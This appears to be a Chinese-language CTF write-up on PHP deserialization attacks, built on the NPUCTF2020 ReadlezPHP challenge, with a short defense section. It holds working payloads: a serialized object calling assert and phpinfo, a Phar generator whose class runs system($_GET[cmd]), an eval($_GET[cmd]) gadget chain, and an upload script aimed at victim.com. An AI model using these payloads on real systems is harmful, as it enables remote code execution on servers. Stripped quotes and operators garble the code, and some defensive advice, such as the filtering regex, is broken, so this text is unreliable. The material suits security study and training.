PHP 反序列化漏洞实战:NPUCTF2020 ReadlezPHP 利用 __destruct 执行任意代码

📅 2026/7/7 9:45:58
PHP 反序列化漏洞实战:NPUCTF2020 ReadlezPHP 利用 __destruct 执行任意代码
PHP反序列化漏洞深度剖析从魔术方法到任意代码执行实战1. 反序列化漏洞的本质与危害PHP反序列化漏洞长期位居OWASP Top 10危险漏洞之列其本质在于程序对用户可控的序列化数据进行了不当的反序列化操作。当攻击者精心构造的恶意序列化数据被unserialize()函数处理时会触发对象中的魔术方法执行非预期操作。典型攻击场景用户输入直接传递给unserialize()会话数据(PHP Session)的反序列化处理缓存数据的读取与反序列化跨服务通信时的数据反序列化漏洞危害等级矩阵危害类型影响范围攻击复杂度RCE服务器完全控制中高文件操作敏感数据泄露中权限提升业务逻辑绕过低2. 魔术方法的触发机制分析PHP中与反序列化相关的关键魔术方法包括__wakeup() // 反序列化时立即触发 __destruct() // 对象销毁时触发 __toString() // 对象被当作字符串处理时触发以__destruct()为例的典型调用链unserialize() - 创建对象 - __wakeup() - [对象使用周期] - __destruct()关键特性__destruct()的触发时机具有确定性方法内通常包含资源释放等敏感操作参数控制路径可达性高3. NPUCTF2020 ReadlezPHP漏洞复现3.1 环境搭建与代码审计靶机关键代码片段class HelloPhp { public $a; public $b; public function __construct(){ $this-a Y-m-d h:i:s; $this-b date; } public function __destruct(){ $a $this-a; $b $this-b; echo $b($a); // 动态函数调用 } } $ppp unserialize($_GET[data]);漏洞点分析用户可控的data参数直接传入unserialize()__destruct()中存在动态函数调用$b($a)未对$b和$a进行任何过滤3.2 两种攻击Payload构造方案一assert函数执行class HelloPhp { public $a phpinfo();; public $b assert; } $obj new HelloPhp(); echo urlencode(serialize($obj));生成结果O%3A8%3A%22HelloPhp%22%3A2%3A%7Bs%3A1%3A%22a%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3Bs%3A1%3A%22b%22%3Bs%3A6%3A%22assert%22%3B%7D方案二call_user_func调用class HelloPhp { public $a phpinfo; public $b call_user_func; } $obj new HelloPhp(); echo urlencode(serialize($obj));技术对比方案适用场景限制条件assert单条语句执行PHP7.2后可能被禁用call_user_func多参数函数调用需要函数名作为第一个参数4. 漏洞利用的进阶技巧4.1 属性数量欺骗PHP反序列化时的C格式完整类名与O格式对象处理差异// 正常序列化 O:4:Test:1:{s:1:a;s:1:b;} // 属性数量欺骗 O:4:Test:2:{s:1:a;s:1:b;}绕过技巧修改序列化字符串中的属性数量利用__wakeup()中属性检查的缺陷4.2 Phar协议利用通过Phar文件触发反序列化// 生成恶意phar文件 $phar new Phar(exploit.phar); $phar-startBuffering(); $phar-addFromString(test.txt, text); $phar-setStub(?php __HALT_COMPILER(); ?); class Evil { function __destruct() { system($_GET[cmd]); } } $obj new Evil(); $phar-setMetadata($obj); $phar-stopBuffering();利用条件存在文件操作函数如file_exists()可控制文件名部分内容PHP版本8.05. 防御方案与最佳实践5.1 输入过滤策略function safe_unserialize($input) { if (preg_match(/^[a-zA-Z0-9\/]*{0,2}$/, $input)) { return unserialize(base64_decode($input)); } throw new Exception(Invalid serialized data); }5.2 运行时防护推荐配置; php.ini安全配置 disable_functions assert,system,passthru allow_url_include Off5.3 架构层面防护使用JSON替代序列化实现签名验证机制引入白名单类限制防护效果对比防护层级实现成本防护效果输入过滤低中运行时中高架构设计高极高6. CTF实战中的变种题型6.1 链式调用漏洞class A { public $b; function __destruct() { $this-b-action(); } } class B { function action() { eval($_GET[cmd]); } }利用要点构造完整的对象调用链控制每个环节的属性值6.2 真实环境中的组合利用某CMS漏洞实例通过文件上传获取Phar文件路径利用图片处理函数触发Phar反序列化通过__destruct()执行系统命令# 自动化利用脚本示例 import requests TARGET http://victim.com/upload.php PHAR exploit.phar with open(PHAR, rb) as f: files {file: (image.jpg, f, image/jpeg)} r requests.post(TARGET, filesfiles) if r.status_code 200: print(fFile uploaded to: {r.json()[path]}) # 触发反序列化...在实际渗透测试中反序列化漏洞往往需要结合其他漏洞形成攻击链这要求安全人员对PHP对象生命周期和魔术方法调用机制有深刻理解。建议开发者在设计涉及序列化的功能时优先考虑使用JSON等更安全的替代方案并对必要的反序列化操作实施严格的输入验证和类白名单控制。